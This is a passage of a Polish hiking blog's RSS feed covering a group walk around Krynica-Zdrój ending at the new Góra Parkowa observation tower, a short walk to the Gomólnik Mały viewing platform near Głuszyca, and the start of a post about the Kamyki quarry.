<div id="attachment_53283" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-33.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53283" class="size-full wp-image-53283" src="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-33.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-33.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-33-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-33-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-33-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-33-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-33-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53283" class="wp-caption-text">panorama na pasmo Cergov z okolic stacji Słotwiny</p></div>
<p>Z prawej strony mija się tam widokowe łąki, a potem już zaczyna się strome podejście na Jaworzynkę (898 m). Wierzchołek jest nieoznakowany, ale na drzewie usytuowano ładną kapliczkę&#8230; Na samej kulminacji zaś znaleźć możemy pozostałości starej wieży triangulacyjnej. Żółty szlak sprowadzał nas odtąd do głównej drogi prowadzącej z Nowego Sącza do Krynicy. Musieliśmy ją przeciąć koło restauracji &#8222;Cichy Kącik&#8221;, by dalej kontynuować wycieczkę już drugą stroną pasma otaczającego to uzdrowisko.&nbsp;</p>
<div id="attachment_53284" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-43.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53284" class="size-full wp-image-53284" src="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-43.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-43.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-43-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-43-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-43-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-43-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-43-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53284" class="wp-caption-text">panorama poniżej przeł. Białej</p></div>
<p>Trasa prowadziła dalej kawałek szosą, by wejść do lasu, by następnie łagodnie trawersować wierzchołek Hawrylakówki. Później trochę stromiej prowadzi zboczami Czerteża. W końcu przez ładną łąkę dochodzimy do osiedla Jakubik, na ul. Zieleniewskiego, na granicy wsi Mochnaczka. Potem droga wiedzie między zabudowaniami, by odbić znowu w las w kierunku masywu Huzarów. Stąd ostrym podejściem docieramy do dużej krzyżówki szlaków, skąd już blisko mamy na szczyt Huzary mierzący 864 m. Chwilę przed nim na kolejnym węźle szlaków opuściliśmy chwilowo naszą trasę, by zdobyć właśnie tę górę, leżącą trochę na uboczu naszej trasy.</p>
<div id="attachment_53285" style="width: 778px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-48.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53285" class="size-large wp-image-53285" src="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-48-768x1024.jpg" alt="" width="768" height="1024" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-48-768x1024.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-48-225x300.jpg 225w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-48.jpg 900w" sizes="(max-width: 768px) 100vw, 768px" /></a><p id="caption-attachment-53285" class="wp-caption-text">autor na wierzchołku Huzarów</p></div>
<p>Ale po szczytowaniu zawróciliśmy na żółty szlak kierując się w stronę krynickiego osiedla Roma. Przecięliśmy tam ul. Pułaskiego wchodząc ponownie w las. Od tego rozejścia szliśmy już po betonowych płytach, które ułożono tutaj dla wygody kuracjuszy i spacerowiczów! Bowiem ostatni odcinek naszej pętli wiódł nas na słynną Górę Parkową, górującą na uzdrowiskiem. Postawiono tu liczne altany wypoczynkowe i ławeczki, jest też zejście do źródełka miłości. Powyżej mijamy zarośnięty staw leżący już w pobliżu szczytu mającego 742m. I tak dotarliśmy całą grupą na tę obleganą górę&#8230;</p>
<div id="attachment_53286" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-51.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53286" class="size-full wp-image-53286" src="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-51.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-51.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-51-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-51-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-51-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-51-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-51-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53286" class="wp-caption-text">droga na Górę Parkową z Romy</p></div>
<p>Ludzi jest tutaj mnóstwo, bowiem docierają przecież znaną kolejką terenowo- linową, czy jedną z tras spacerowych bezpośrednio z centrum Krynicy. Ekipa rozbiegła się tu na wszystkie strony, tyle bowiem jest tutaj atrakcji 🙂&nbsp; Leżąca w paśmie Jaworzyny Krynickiej góra jest jednym z głównych terenów rekreacyjnych, spacerowych i sportowych miasta. Na Górze Parkowej jest sześćdziesięciohektarowy Park Zdrojowy z licznymi ścieżkami spacerowymi i altankami, trzy stawy, ścieżka zdrowia. Oglądać można również pozostałości po torze saneczkarskim, gdyż znajduje się tu część starego toru o długości 500 m.</p>
<div id="attachment_53287" style="width: 778px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-54.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53287" class="size-large wp-image-53287" src="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-54-768x1024.jpg" alt="" width="768" height="1024" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-54-768x1024.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-54-225x300.jpg 225w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-54.jpg 900w" sizes="(max-width: 768px) 100vw, 768px" /></a><p id="caption-attachment-53287" class="wp-caption-text">wieża widokowa</p></div>
<p>Popularnym miejscem wypoczynkowym jest Polana Michasiowa ze źródłem Bocianówka. Nieco poniżej niej jest Leśne Sanktuarium Matki Bożej Królowej Krynickich Zdrojów. Zejście pośród tych pięknych miejsc zostawiliśmy sobie na koniec wędrówki. Najpierw trzeba było odwiedzić te na rozległym wierzchołku&#8230; 🙂&nbsp; Na szczycie mamy rajskie zjeżdżalnie, restaurację z kawiarnią i wyciąg narciarski przystosowany dla dzieci oraz zjeżdżalnię pontonową. Turystów zwłaszcza zimą przyciąga Polana Muzyki i Światła oraz Retro Park Światła. Ale nas najbardziej interesowała nowa potężna wieża widokowa!</p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-60.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-53288" src="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-60.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-60.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-60-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-60-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-60-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-60-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-60-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a></p>
<p>Panorama z niej jest niezwykle imponująca! W 2026 roku ukończono bowiem budowę 64-metrowej wieży radiowo-obserwacyjnej. Taras widokowy, na który można dostać się schodami lub windą, znajduje się na wysokości 36 metrów! Do pokonania mamy na piechotę 216 stopni! Wstęp kosztuje 15 zł od dorosłego. Szczyt wieży składający się z zewnętrznego tarasu 360 stopni oraz przeszklonej wewnętrznej przestrzeni, umożliwiają podziwianie widoków przez cały rok i przy każdej pogodzie! Zobaczymy zatem stąd przy dobrej widoczności Tatry, Beskidy, słowacki <a href="https://marekowczarz.pl/na-mincolu-w-gorach-czerchowskich/">Cergov</a> i okolicę Krynicy- Zdroju!&nbsp;</p>
<div id="attachment_53289" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-9.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53289" class="size-full wp-image-53289" src="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-9.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-9.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-9-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-9-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-9-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-9-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/krynica-okolice-9-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53289" class="wp-caption-text">panorama na Tatry</p></div>
<p>Na dole sklep z pamiątkami sprzedaje gadżety firmowe w stylu retro dedykowane Kolei Góra Parkowa. Winda zatrzymuje się tylko na poziomie 0 i 6 – pośrednie piętra są niedostępne. Schody prowadzą częścią zewnętrzną trzonu wieży – warunki są więc jak na zewnątrz. Górny taras składa się z:<br />
części wewnętrznej, oszklonej – z sofami do odpoczynku, 2 wyjść na taras zewnętrzny,<br />
półokrągłego skywalku (2,5 m szerokości) ze szklaną podłogą i widokami dookoła. W części wewnętrznej możemy odsłuchać retro nagranie lektora z ciekawostkami o panoramie i zasadach skywalku.</p>
<p><iframe loading="lazy" title="Panorama z Góry Parkowej w Krynicy- Zdrój" width="563" height="1000" src="https://www.youtube.com/embed/ylhgN1DTMZQ?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></p>
<p>Zaś na poziomie zero obchodzimy przeszkloną galerią trzon wieży, by po drodze zobaczyć 6 podświetlanych kasetonów z historycznymi zdjęciami Góry Parkowej. I po tych wszystkich emocjach mogliśmy dopiero spokojnie zejść jedną z tras spacerowych na dół, do centrum uzdrowiska. Tam wspólnym obiadem zakończyliśmy kolejne świętowanie Dnia Kobiet w gronie <a href="https://marekowczarz.pl/konkurs-na-osobowosc-roku-2017-oraz-troche-historii-bloga-i-gorlickiej-grupy-gorskiej/">Gorlickiej Grupy Górskie</a>j. Wszystkim 23 osobom bardzo dziękuję za udział w naszym corocznym górskim spotkaniu! A Was na koniec jak zawsze zapraszam drodzy czytelnicy do obejrzenia galerii zdjęć z wypadu.</p>
<p style="text-align: center;">&nbsp;<iframe loading="lazy" style="border: none;" src="https://mapy.com/s/pejolomovo" width="700" height="466" frameborder="0"></iframe></p>
<p>A także zachęcam do czytania innych wpisów na blogu. 🙂 Powyżej zostawiam również mapkę naszej trasy na około 19 km&#8230; A jeśli ten wpis dał Ci wartość, znalazłeś u mnie potrzebną wiedzę, inspiracje do podróży, to będę wdzięczny, jeśli postawisz mi kawę przez <a href="https://buycoffee.to/marcogor">serwis Buycoffee</a>. Tworzę bloga z ogromną przyjemnością i pasją od ponad 14 lat. Może komuś wpadnie do głowy udać się w te rejony z gotowym planem? Z górskim pozdrowieniem</p>
<p style="text-align: center;"><strong>Marcogor</strong></p>
<p style="text-align: center;">&nbsp;<a href="https://buycoffee.to/marcogor" target="_blank" rel="noopener"><img decoding="async" style="width: 351px; height: 92px;" src="https://buycoffee.to/static/img/share/share-button-primary.png" alt="Postaw mi kawę na buycoffee.to"></a></p>
 [<a href="https://marekowczarz.pl/spacer-wokol-krynicy-z-wejsciem-na-wieze-na-gorze-parkowej/">See image gallery at marekowczarz.pl</a>] 
<p>&nbsp;</p>The post <a href="https://marekowczarz.pl/spacer-wokol-krynicy-z-wejsciem-na-wieze-na-gorze-parkowej/">Spacer wokół Krynicy z wejściem na wieżę na Górze Parkowej</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></content:encoded>
					
					<wfw:commentRss>https://marekowczarz.pl/spacer-wokol-krynicy-z-wejsciem-na-wieze-na-gorze-parkowej/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Spacer na platformę widokową na Gomólniku Małym nad Głuszycą</title>
		<link>https://marekowczarz.pl/spacer-na-platforme-widokowa-na-gomolniku-malym-nad-gluszyca/</link>
					<comments>https://marekowczarz.pl/spacer-na-platforme-widokowa-na-gomolniku-malym-nad-gluszyca/#respond</comments>
		
		<dc:creator><![CDATA[marcogor]]></dc:creator>
		<pubDate>Sat, 07 Mar 2026 22:05:16 +0000</pubDate>
				<category><![CDATA[2025]]></category>
		<category><![CDATA[Góry Kamienne]]></category>
		<category><![CDATA[Opowieści górskie]]></category>
		<category><![CDATA[gomólnik mały]]></category>
		<category><![CDATA[grzmiąca]]></category>
		<category><![CDATA[głuszyca]]></category>
		<category><![CDATA[przeł. pod gomólnikiem]]></category>
		<guid isPermaLink="false">https://marekowczarz.pl/?p=53198</guid>

					<description><![CDATA[<p>Krótki spacer na szczyt Gomólnika Małego z ciekawą platformą widokową z okolicy wsi Grzmiąca. Wierzchołek oferuje genialne panoramy.</p>
The post <a href="https://marekowczarz.pl/spacer-na-platforme-widokowa-na-gomolniku-malym-nad-gluszyca/">Spacer na platformę widokową na Gomólniku Małym nad Głuszycą</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></description>
										<content:encoded><![CDATA[<p><em><strong>Będąc</strong></em> na urlopie w <a href="https://marekowczarz.pl/wejscie-na-chelmiec-do-korony-gor-polski/">Sudetach</a> nie raz jest tak, że zostaje mi trochę czasu, po jakiejś dłuższej wędrówce i zdobyciu zaplanowanego szczytu. Ostatnio będąc w <a href="https://marekowczarz.pl/trip-po-jastrzebiej-perci-w-kamieniolomie-kamyki-w-gluszycy/">Głuszycy</a> i nad zalewem Kamyki w Górach <a href="https://marekowczarz.pl/ze-schroniska-andrzejowka-na-waligore-i-ruprechticki-szpiczak/">Kamiennych</a> zostało mi kilka godzin do zmroku w długi czerwcowy dzień. Wykorzystałem ten czas na wejście na mało znany wierzchołek tych gór- Gomólnik Mały, który jest dobrym punktem widokowym na kilka sąsiednich pasm górskich. Ostatnio stał się modny, gdy na widokowym urwisku wybudowano ciekawą platformę widokową w formie okręgu!<span id="more-53198"></span></p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-34.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-53203" src="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-34.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-34.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-34-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-34-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-34-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-34-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-34-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a></p>
<p>Zatem jak najłatwiej i najszybciej zdobyć tę górę, gdy ma się mało czasu? Szlaki prowadzą tam z wielu stron, ale jedna opcja jest naprawdę dla amatorów szybkich ataków szczytowych&#8230; 🙂 Będąc w Głuszycy, w powiecie wałbrzyskim możemy podjechać autem bardzo wysoko. Trzeba kierować się z miasta w stronę wsi Łomnica, a tam skręcić w prawo na ulicę Łączną, którą wjeżdżamy stromo, aż do przecięcia zielonego szlaku, który wznosi się tam z Głuszycy. Jedziemy dalej w górę za znaczkami w lewo, już po szutrowej drodze, ale tylko kawałek. Prosto szosa zbiega do wioski Grzmiąca, skąd też możemy tutaj trafić!</p>
<p style="text-align: center;">&nbsp;<iframe loading="lazy" style="border: none;" src="https://mapy.com/s/hovokanata" width="700" height="466" frameborder="0"></iframe></p>
<p>Po przejechaniu stu metrów dojeżdżamy na prywatny parking przy budynku jednorodzinnym. Pani pobierała w 2025 roku opłatę 15 zł, ale stąd na szczyt mamy niecałe dwa kilometry 🙂 Niedawno wyznakowano tam czerwony szlak w formie pętli, nazwany &#8222;Taras widokowy Gomólnik Mały&#8221;, biegnący częściowo po Muflonowej Perci. Od parkingu prowadzi razem z trasą rowerową leśną drogą. Najpierw mijamy punkt ujęcia wody, potem domek letniskowy i dochodzimy na skraj ładnej łąki, gdzie na jej grzbiecie znajduje się Przeł. pod Gomólnikiem- krzyżówka szlaków&#8230;</p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-36-rotated.jpg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-53204" src="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-36-768x1024.jpg" alt="" width="768" height="1024" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-36-768x1024.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-36-225x300.jpg 225w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-36-1152x1536.jpg 1152w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-36-1080x1440.jpg 1080w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-36-rotated.jpg 1200w" sizes="(max-width: 768px) 100vw, 768px" /></a></p>
<p>Dochodzą tutaj zielona i czarna trasa, a my podążamy dalej na skraj lasu, gdzie jest punkt widokowy. Tutaj warto zostawić czerwony szlak i dalsze podejście na pobliski wierzchołek zrobić zielonym wariantem. Co prawda czerwony prowadzi naokoło i jest łagodniejszy, a zielony stromy, ale to jest jedyne takie strome podejście podczas tego krótkiego spaceru! A powód jest taki, że na tej ścieżce znakowanej zielono napotkamy na ciekawostkę historyczną&#8230; Na trasie zachowały się licznie stare słupki graniczne.</p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gomolnik-maly.webp"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-53205" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gomolnik-maly.webp" alt="" width="1536" height="834" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gomolnik-maly.webp 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gomolnik-maly-300x163.webp 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gomolnik-maly-1024x556.webp 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gomolnik-maly-768x417.webp 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gomolnik-maly-1080x586.webp 1080w" sizes="(max-width: 1536px) 100vw, 1536px" /></a></p>
<p>Dawne kamienie graniczne z numerami i wyrytym krzyżem na wierzchu to prawdopodobnie pozostałości po dawnych podziałach leśnych, które sięgają XIX wieku. Każdy taki kamień wskazywał punkt graniczny – krzyż symbolizował miejsce przecięcia linii granicznych, a numer odpowiadał zapisom w geodezyjnych księgach majątkowych. Dziś pełnią rolę świadków historii i jej licznych sekretów! W okolicach Głuszycy należały one m.in. do dóbr rodu Hochbergów z Książa, którzy zarządzali dużymi obszarami tych gór.</p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-42.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-53206" src="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-42.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-42.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-42-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-42-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-42-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-42-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-42-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a></p>
<p>Po ostatnim ostrym podejściu docieramy w końcu na wypłaszczenie grzbietu zwieńczone kulminacją Gomólnika Małego (809 m). Na drzewie wisi tabliczka szczytowa, a my idziemy dalej leśną granią, na której po chwili z prawej strony dołącza czerwony szlak i razem szybko wyprowadzają nas na skraj urwiska, na skraju lasu, gdzie wybudowano w 2023 r. wspomnianą platformę widokową o interesującej metalowo- drewnianej konstrukcji. Jest tu fajna okrągła ławka i opisane panoramy&#8230; Mogłem zatem odpocząć i delektować się świetnymi widokami przy wspaniałej pogodzie tego dnia!</p>
<p>&nbsp;<iframe loading="lazy" title="YouTube video player" src="https://www.youtube.com/embed/w6wG3z4-jVc?si=fIKVBCOw2fTa9ZQa" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>Tuż pod nami widać Głuszycę otoczoną mozaiką pól i łąk i pobliskie wioski. Na wprost rozciągają się Góry Sowie z charakterystycznym masywem <a href="https://marekowczarz.pl/wycieczka-na-wielka-sowe-i-do-muzeum-sztolni-walimskich/">Wielkiej Sowy</a>, a nieco bliżej wyróżnia się Waligóra – najwyższy szczyt Gór <a href="https://marekowczarz.pl/spacer-na-waligore-i-suchawe-oraz-zwiedzanie-sokolowska/">Kamiennych</a>. Z prawej strony zaś możemy dostrzec zalesione wzniesienia Gór <a href="https://marekowczarz.pl/jak-szybko-zdobyc-borowa-najwyzszy-szczyt-gor-walbrzyskich/">Wałbrzyskich</a>, a przy sprzyjającej pogodzie zobaczymy nawet <a href="https://marekowczarz.pl/z-przeleczy-tapadla-na-sleze-po-raz-drugi/">masyw Ślęży</a>! Taki niepozorny szczyt, a daje takie możliwości podziwiania górskiego piękna&#8230; Więc robiłem to przez dobrych kilka minut! 🙂 Dobrze, że powstają takie inwestycje w górach, które napędzą turystów w mało znane miejsca, bo promują też region</p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/hfDBN9a.jpeg"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-53207" src="https://marekowczarz.pl/wp-content/uploads/2026/03/hfDBN9a-768x1024.jpeg" alt="" width="768" height="1024" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/hfDBN9a-768x1024.jpeg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/hfDBN9a-225x300.jpeg 225w, https://marekowczarz.pl/wp-content/uploads/2026/03/hfDBN9a-1152x1536.jpeg 1152w, https://marekowczarz.pl/wp-content/uploads/2026/03/hfDBN9a-1536x2048.jpeg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/hfDBN9a-1080x1440.jpeg 1080w, https://marekowczarz.pl/wp-content/uploads/2026/03/hfDBN9a.jpeg 1650w" sizes="(max-width: 768px) 100vw, 768px" /></a></p>
<p>Po zrobieniu zdjęć ruszyłem już tylko czerwonym szlakiem wzdłuż Muflonowej Perci w dół, by domknąć pętlę i wrócić do samochodu. Ścieżka wiedzie lasem dosyć stromo, później już łagodniej łącząc się znowu z cyklotrasą i razem wracają bitą drogą na znaną już mi ulicę Łączną. Wyżej czerwony szlak połączył się również z zielonym i najlepiej wrócić na parking idąc tym ostatnim, a nie szosą, jak robiłem dojazd tamże. Sama polna droga na skraju pastwisk i łąk jest też widokowa. Nią szybko osiągamy nasz cel, czyli parking, gdzie kończy się nasza krótka, ale owocna eskapada!&nbsp;</p>
<p style="text-align: center;">&nbsp;<iframe loading="lazy" style="border: none;" src="https://mapy.com/s/kalajuzefo" width="700" height="466" frameborder="0"></iframe></p>
<p>Nawet takie szybkie spacery potrafią pozytywnie zaskoczyć i dać dużo radości, także z oglądania górskich krajobrazów i panoram! Na koniec jak zawsze zapraszam do obejrzenia galerii zdjęć z wycieczki i czytania innych wpisów o mych górskich przygodach! Powyżej zostawiam też mapkę mej trasy&#8230; A jeśli ten wpis dał Ci wartość, znalazłeś u mnie potrzebną wiedzę, inspiracje do podróży, to będę wdzięczny, jeśli postawisz mi kawę przez serwis <a href="https://buycoffee.to/marcogor">Buycoffee</a>. Tworzę bloga z ogromną przyjemnością i pasją od ponad 14 lat. Może komuś wpadnie do głowy udać się w te rejony z gotowym planem? Z górskim pozdrowieniem</p>
<p style="text-align: center;"><strong>Marcogor</strong></p>
<p style="text-align: center;">&nbsp;<a href="https://buycoffee.to/marcogor" target="_blank" rel="noopener"><img decoding="async" style="width: 351px; height: 92px;" src="https://buycoffee.to/static/img/share/share-button-primary.png" alt="Postaw mi kawę na buycoffee.to"></a></p>
 [<a href="https://marekowczarz.pl/spacer-na-platforme-widokowa-na-gomolniku-malym-nad-gluszyca/">See image gallery at marekowczarz.pl</a>]The post <a href="https://marekowczarz.pl/spacer-na-platforme-widokowa-na-gomolniku-malym-nad-gluszyca/">Spacer na platformę widokową na Gomólniku Małym nad Głuszycą</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></content:encoded>
					
					<wfw:commentRss>https://marekowczarz.pl/spacer-na-platforme-widokowa-na-gomolniku-malym-nad-gluszyca/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Trip po Jastrzębiej Perci w kamieniołomie Kamyki w Głuszycy</title>
		<link>https://marekowczarz.pl/trip-po-jastrzebiej-perci-w-kamieniolomie-kamyki-w-gluszycy/</link>
					<comments>https://marekowczarz.pl/trip-po-jastrzebiej-perci-w-kamieniolomie-kamyki-w-gluszycy/#respond</comments>
		
		<dc:creator><![CDATA[marcogor]]></dc:creator>
		<pubDate>Sun, 01 Mar 2026 21:00:49 +0000</pubDate>
				<category><![CDATA[2025]]></category>
		<category><![CDATA[Góry Kamienne]]></category>
		<category><![CDATA[Opis krajoznawczy]]></category>
		<category><![CDATA[głuszyca]]></category>
		<category><![CDATA[kamieniołom kamyki]]></category>
		<guid isPermaLink="false">https://marekowczarz.pl/?p=53152</guid>

					<description><![CDATA[<p>Wizyta w Górach Kamiennych i zwiedzanie Głuszycy oraz dawnego kamieniołomu Kamyki, obecnie zalewu z ciekawą trasą turystyczną zwaną Jastrzębia Perć.</p>
The post <a href="https://marekowczarz.pl/trip-po-jastrzebiej-perci-w-kamieniolomie-kamyki-w-gluszycy/">Trip po Jastrzębiej Perci w kamieniołomie Kamyki w Głuszycy</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></description>
										<content:encoded><![CDATA[<p><em><strong>Będąc</strong></em> ostatnio w Sudetach postanowiłem odwiedzić słynny kamieniołom Kamyki niedaleko Głuszycy. Byłem już tam kiedyś, ale obecnie stworzono tam ciekawą trasę turystyczną, zwaną &#8222;Jastrzębia Perć&#8221;, więc chciałem ją przejść. Wcześniej jednak zatrzymałem się w mieście Głuszyca, by w końcu zobaczyć także jej atrakcje.&nbsp; To miasto w województwie dolnośląskim, w powiecie wałbrzyskim, nad rzeką Bystrzycą, położone w kotlinie pomiędzy <a href="https://marekowczarz.pl/wycieczka-na-wielka-sowe-i-do-muzeum-sztolni-walimskich/">Górami Sowim</a>i, a Kamiennymi (<a href="https://marekowczarz.pl/spacer-na-waligore-i-suchawe-oraz-zwiedzanie-sokolowska/">Górami Suchymi</a>) w Sudetach Środkowych. Historycznie leży na Dolnym Śląsku.<span id="more-53152"></span></p>
<div id="attachment_53159" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/1920px-Villa_Kauffmanna-e1772397413286.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53159" class="size-full wp-image-53159" src="https://marekowczarz.pl/wp-content/uploads/2026/03/1920px-Villa_Kauffmanna-e1772397413286.jpg" alt="" width="1600" height="1200"></a><p id="caption-attachment-53159" class="wp-caption-text">Villa Kauffmanna w Głuszycy</p></div>
